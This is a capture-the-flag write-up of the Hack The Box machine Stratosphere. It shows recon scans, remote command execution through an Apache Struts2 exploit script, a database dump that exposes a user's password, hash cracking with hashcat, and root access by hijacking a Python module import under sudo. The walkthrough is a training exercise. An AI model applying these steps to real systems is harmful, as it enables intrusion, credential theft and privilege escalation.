Hack The Box: Stratosphere

Edouard Buschini
11 min readSep 3, 2018

--

Welcome back to another write up of Hack The Box!

This time we’ll be doing Stratosphere.

Let’s dive in with the usual recon phase.

Recon

First thing, as always, an nmap scan.

# Nmap 7.70 scan initiated Fri Aug 31 00:03:40 2018 as: nmap -sC -sV -oA recon/nmap/init 10.10.10.64
Nmap scan report for 10.10.10.64
Host is up (0.062s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
| 2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA)
| 256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA)
|_ 256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (ED25519)
80/tcp open http
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 1114
| Date: Fri, 31 Aug 2018 00:03:49 GMT
| Connection: close
| ...
| GetRequest:
| HTTP/1.1 200
| Accept-Ranges: bytes
| ETag: W/"1708-1519762495000"
| Last-Modified: Tue, 27 Feb 2018 20:14:55 GMT
| Content-Type: text/html
| Content-Length: 1708
| Date: Fri, 31 Aug 2018 00:03:49 GMT
| Connection: close
| ...
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS
| Content-Length: 0
| Date: Fri, 31 Aug 2018 00:03:49 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Date: Fri, 31 Aug 2018 00:03:49 GMT
| Connection: close
| X11Probe:
| HTTP/1.1 400
| Transfer-Encoding: chunked
| Date: Fri, 31 Aug 2018 00:03:49 GMT
|_ Connection: close
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Stratosphere
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 1114
| Date: Fri, 31 Aug 2018 00:03:49 GMT
| Connection: close
| ...
| GetRequest:
| HTTP/1.1 200
| Accept-Ranges: bytes
| ETag: W/"1708-1519762495000"
| Last-Modified: Tue, 27 Feb 2018 20:14:55 GMT
| Content-Type: text/html
| Content-Length: 1708
| Date: Fri, 31 Aug 2018 00:03:49 GMT
| Connection: close
| ...
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS
| Content-Length: 0
| Date: Fri, 31 Aug 2018 00:03:49 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Date: Fri, 31 Aug 2018 00:03:49 GMT
|_ Connection: close
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Stratosphere
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Aug 31 00:04:03 2018 -- 1 IP address (1 host up) scanned in 23.18 seconds

The output is a little bit longer than we are used to. It’s because nmap runs scripts when it find open ports to get the most information possible.

Here we see that 3 ports are open:

  • 22
  • 80
  • 8080

We’ll omit 22 for now as it is ssh and probably not where we should start right away.

That leaves us two ports. Those ports have similar output, which let’s me think that since it is clearly a webserver, 80 must be a reverse proxy to 8080.

When you configure a reverse proxy, it is mainly to hide the root web server. In this case, it might be a bad configuration.

Let’s go ahead with the port 8080 as it might be weaker than 80 since we might have direct access to the backend application and let’s see if we can learn some stuff.

What a shiny web page!

It is good to have an understanding of what the page is about before continuing, it gives a good idea of what kind of information to go after.

In this case, I directly thought about the infamous Equifax hack, exploiting apache struts2.

As I did not really follow the story and even worse, I had never heard of struts2 before, I needed proof between continuing following that hunch.

Couple Google search to get up to date with what struts2 was, revealed that it is a java framework. So let’s see if we can make sure of that.

HTML source code: nothing, HTTP headers: nothing. There is only one link on the web page that redirects to a “Work in progress” basic html page. So nothing there either.

Time to fire up gobuster and see if we can get more information

Recon II

I started using the raft medium dictionary.

gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o jsp -u http://10.10.10.64:8080/ | tee >(gograbber -u http://10.10.10.64:8080 -d .)Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
Printing to pdf for url "http:/10.10.10.64"
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.64:8080/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Output file : jsp
[+] Status codes : 200,204,301,302,307
=====================================================
/manager (Status: 302)
Printing to pdf for url "http:/10.10.10.64:8080/manager"

OK! Here we go! Our first URL to check.

Going to /manager redirected to /manager/html. Which prompted me for login/password. After trying admin/admin, I could see the result of a 401 access denied page.

Yay! We now know that’s at least java based and delivered by tomcat.

What is that interface though? Looking at the documentation, you can control the server, reload services, inject some code and so on.

But we don’t know what the password is, so since we’re lazy, we’ll skip that part for now.

Oh, good, gobuster found a new URL:

/Monitoring (Status: 302)
Printing to pdf for url "http:/10.10.10.64:8080/Monitoring"

We still don’t know if struts is used. We need to know more so let’s go to /Monitoring.

We get redirected to http://10.10.10.64:8080/Monitoring/example/Welcome.action. What is that page? Well, first of all, I need to show you the output:

It looks like the main web page to access your credit monitoring.

Looking at the URL we got redirected to, we can see it’s a .action page. It is a proof that struts2 is used!

At this point, I was looking on github for a struts exploit, and I found this: https://github.com/mazen160/struts-pwn. This is perfect!

Exploit

I copied struts-pwn.py locally and installed the pip module from requirements.txt.

I then opened the python script and start looking around.

Looks like it is delivering a payload over GET request. I am not sure what is does exactly but I can see where the command is injected.

I also removed the timeouts everywhere so I don’t get annoyed by that.

Let’s test the script!!

$> python struts-pwn.py  -u http://10.10.10.64:8080/Monitoring/example/Welcome.action -c "id"

[*] URL: http://10.10.10.64:8080/Monitoring/example/Welcome.action
[*] CMD: id
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely
uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)

Awesome! We now have code execution on the server.

Exploit II

First thing I do is I try to grab the flag:

$ python struts-pwn.py  -u http://10.10.10.64:8080/Monitoring/example/Welcome.action -c "ls -lah /home"total 28K
drwxr-xr-x 4 root root 4.0K Sep 19 2017 .
drwxr-xr-x 22 root root 4.0K Feb 27 2018 ..
drwx------ 2 root root 16K Sep 19 2017 lost+found
drwxr-x--- 5 richard richard 4.0K Mar 19 15:23 richard

There is a user called richard but we don’t have the rights to read the directory :(.

A simple ls -la gives us the results:

total 24
drwxr-xr-x 5 root root 4096 Sep 3 00:57 .
drwxr-xr-x 42 root root 4096 Oct 3 2017 ..
lrwxrwxrwx 1 root root 12 Sep 3 2017 conf -> /etc/tomcat8
-rw-r--r-- 1 root root 68 Oct 2 2017 db_connect
drwxr-xr-x 2 tomcat8 tomcat8 4096 Sep 3 2017 lib
lrwxrwxrwx 1 root root 17 Sep 3 2017 logs -> ../../log/tomcat8
drwxr-xr-x 2 root root 4096 Sep 3 00:57 policy
drwxrwxr-x 4 tomcat8 tomcat8 4096 Feb 10 2018 webapps
lrwxrwxrwx 1 root root 19 Sep 3 2017 work -> ../../cache/tomcat8

db_connect sounds good. Let’s grab the file and save it locally.

In this file you can see 2 types of credentials:

  • ssn_admin
  • admin

I am curious what we can find in that DB so let’s look inside.

$ python struts-pwn.py  -u http://10.10.10.64:8080/Monitoring/example/Welcome.action -c "mysql --user=admin --password=admin -e \'show databases\'"

Database
information_schema
users
$ python struts-pwn.py -u http://10.10.10.64:8080/Monitoring/example/Welcome.action -c "mysql --user=admin --password=admin -e \'show tables from users\'"Tables_in_users
accounts
$ python struts-pwn.py -u http://10.10.10.64:8080/Monitoring/example/Welcome.action -c "mysql --user=admin --password=admin -e \'select * from users.accounts\'"fullName password username
Richard F. Smith 9tc*rhKuG5TyXvUJOrE^5CK7k richard

We found a password! I bet this is Richard’s password.

$ ssh richard@10.10.10.64
richard@10.10.10.64's password:
Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64
richard@stratosphere:~$

Bingo! We get our first flag and move on to root.

Exploit III

Checking sudo -l privileges right of the bat for easy privesc gave me an interesting output:

richard@stratosphere:~$ sudo -l
Matching Defaults entries for richard on stratosphere:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User richard may run the following commands on stratosphere:
(ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py

We can execute test.py as any user we want without a password? Sounds really promessing.

Looking at the python script, it imports hashblib library, ask some question through input() and compare then to hashes. If we are successful 4 times, we get to do os.system('/root/success.py').

When you hear python’s import and sudo in the same sentence, there is a good chance this is your privesc right there.

Python has the ability to import code on the fly with the import statement.

This statement will look through a set of directories for various files.

If you do this:

richard@stratosphere:~$ python -c 'import sys; print(sys.path)'
['', '/usr/lib/python35.zip', '/usr/lib/python3.5', '/usr/lib/python3.5/plat-x86_64-linux-gnu', '/usr/lib/python3.5/lib-dynload', '/usr/local/lib/python3.5/dist-packages', '/usr/lib/python3/dist-packages']

You can see that the first element is '' which will be joined to the name of the module. In our case it’ll become hashlib which will be resolved to the local directory.

Let’s try this:

richard@stratosphere:~$ echo 'import os;os.system("/bin/bash")' > hashlib.py
richard@stratosphere:~$ sudo python /home/richard/test.py
root@stratosphere:/home/richard# id
uid=0(root) gid=0(root) groups=0(root)

Aaaand we are done.

I could include about a thousand gifs but I will spare you that pain.

Key Takeaway

This box was fun, I learned *a lot*. Although it’s possible to do it in exactly 5 mins, it took me very long hours.

The why is because, I’ve made many mistakes.

First, I did not wait until gobuster was complete, I think it was slow for some reason and I jumped too quick on getting my hand on the /manager. Tried all the default password but none worked. Then I was getting pretty desperate. I’ve learned that it is possible to do jsp injection through the PUT method and thought it was it since the nmap revealed it. It was not it. Did more gobust'ing with more extension but it made the thing even slower to reach /Monitoring.

At some point I stopped and thought I should use another dictionary. This uncovered /Monitoring. And I could go on.

So for the first key takeaway, I would say, leave gobuster running. If you need to run another gobuster to quickly check something, suspend the first one you ran to resume it later in order to not loose the work you just did.

Then once I was inside, I was still obsessed with /manager. I found config/tomcat-users.xml with some password in it. Those credentials never worked. After reviewing what the manager does, all it could have done was to give me code execution, which I already had, so I let it go..

I badly wanted a reverse shell, I’ve tried like everything. Being a sysadmin, I quickly realized that there must be a firewall because ICMP was not blocked, but everything else was. Also traffic was allowed to go out, but not to go back in. I’ve setup similar configurations so I knew that when you reply to an ack with your syn ack but never gets that ack back for the tcp handshake, something is up. ESTABLISHED is the state that allows server’s initiated traffic to go back in. Otherwise it gets dropped. I also tried doing some UDP but it’s not friendly at all with netcat since it doesn’t establish any connection, the -e /bin/sh won’t work.

I could have found Richard’s credentials sooner, but I had a problem. Instead of poking around in the DB, I did some mysqldump because I wanted a quick extraction. Those where a total failed and lead me to waste a lot of time. They failed because I suspect both users didn’t have enough privileges to lock tables or something. It gave me a blank output letting me thinking that the table was empty.

I did extensive enumeration, but the python tool was a little bit of a pain, so that’s when I re-wrote it a little bit to go over all the escaping problem I had.

Second key takeaway: when you are using SQL credentials, try to do your recon using commands that the service you stole from might have access to. Stay in the scope before testing things.

Once I got into Richard’s account, it took me a lot of time again. I felt immensely dumb when I finally understood the solution.

I had started with reading the code, saw that it was about cracking hashes and got excited because I would get to play with hashcat. I actually started copy pasting hashes to online databases, and that gave me 3 out of 4 hashes. Then the last one was using blake so I was not going to find this one easy from an online rainbow table. I got stressed but fire up hashcat:

hashcat  --force -m 600 -a 0 '$BLAKE2$39efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943' /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt

That didn’t find anything. I was like uh-oh. I got even more stressed :D

After that, it was literally all messed up. I’ve tried *all* the .txt files I had. I’ve tried mask attacks, hybrid + mask, mask + hybrid attacks. NOTHING.

I also had a hunch and tried to bruteforce all SSN combinations. Side note, the wikipage was pretty interesting, I thought that it was all random but you have way less possible combinations.

At the end, I was tired, my CPU was reallllyy tired too.

Stepped back and try to locate the password I found online to the wordlists I already had, they were all in rockyou.txt. Ran hashcat again, still no luck.

I got reallllyyy desperate, I already had bruteforce for ~6 hours — I was doing other things in the same time. When I realized that the hash I was looking for WASN’T THE SAME. I had a 3 just before. A 3!!!!!! Removed the bad character and cracked the hash in matter of seconds.

Third key takeaway: before starting cracking, but in general applies to everything that will consume you time: CHECK THE VALUE, I DON’T KNOW, 10 TIMES IF NECESSARY.

Got the last password, made a nice script:

(echo -en 'kaybboo!\nninjaabisshinobi\nlegend72\nFhero6610\n';cat) |  sudo /usr/bin/python /home/richard/test.py

But said: /root/test.py not found. What do you mean not found? Not found as in, nope the file is not there, sorry bud????

At this point, I turned around and looked for cameras because it must have been a joke, somebody is playing me.

Took a deep breath and started looking more at that script to find flaws.

Googl’ed around and then ended up in path import hijacking. Which was really what I wanted.

For some reason I got focused on the os module. I thought that since it was in the end, that was done on purpose to show the vulnerability.

But no luck, I’ve tried like copying the module from the source, change the source code and so on. Then I also strace the program. That’s where it did not make sense because I could see everywhere that it was possible, but I couldn’t reproduce. I could not understand why it wasn’t working with the os module. At some point I saw that it was looking for the hashlib module in my directory, I was like: this is it! And quickly came up with the PoC.

Later on I understood why: the os module must be imported by default, since it abstract OS specific calls to single set of APIs. That’s why it was always at the top, and that’s why it never tried to import it again. It was already imported by default, even before hashlib.

I don’t really have a key takeaway for this because I simply didn’t have enough knowledge in the matter to have known this. I could have found it faster, but I believe it’s part of learning.

--

--